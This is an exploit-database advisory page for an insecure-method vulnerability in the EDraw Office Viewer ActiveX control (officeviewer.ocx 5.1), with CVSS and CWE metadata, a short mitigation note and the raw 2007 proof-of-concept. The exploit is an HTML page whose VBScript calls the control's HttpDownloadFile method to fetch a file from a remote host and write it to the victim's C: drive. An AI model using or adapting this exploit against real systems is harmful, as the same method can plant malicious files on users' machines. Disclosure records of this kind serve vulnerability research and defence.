0-day EDraw Office Viewer Component 5.1 (officeviewer.ocx v. 5.1.199.1) "HttpDownloadFile()" Insecure Method

vendor:

Office Viewer Component

by:

shinnai

7.5

CVSS

HIGH

Insecure Method

613

CWE

Product Name: Office Viewer Component

Affected Version From: 5.1

Affected Version To: 5.1.199.1

Patch Exists: NO

Related CWE:

CPE: officeviewer.ocx

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

0-day EDraw Office Viewer Component 5.1 (officeviewer.ocx v. 5.1.199.1) “HttpDownloadFile()” Insecure Method

The EDraw Office Viewer Component 5.1 (officeviewer.ocx v. 5.1.199.1) is vulnerable to an insecure method called "HttpDownloadFile()". This vulnerability allows an attacker to download arbitrary files from a remote server to a user's machine by exploiting this insecure method.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of the EDraw Office Viewer Component. Additionally, users should exercise caution when downloading and executing files from untrusted sources.

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------
 <b>0-day EDraw Office Viewer Component 5.1 (officeviewer.ocx v. 5.1.199.1) "HttpDownloadFile()" Insecure Method</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller,data</b>
--------------------------------------------------------------------------------------------------------------

<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
    test.HttpDownloadFile "http://www.shinnai.altervista.org/shinnai.txt", "c:\shinnai.txt"
    MsgBox("Exploit completed!")
 End Sub
</script>
</span>
</code></pre>

# milw0rm.com [2007-08-16]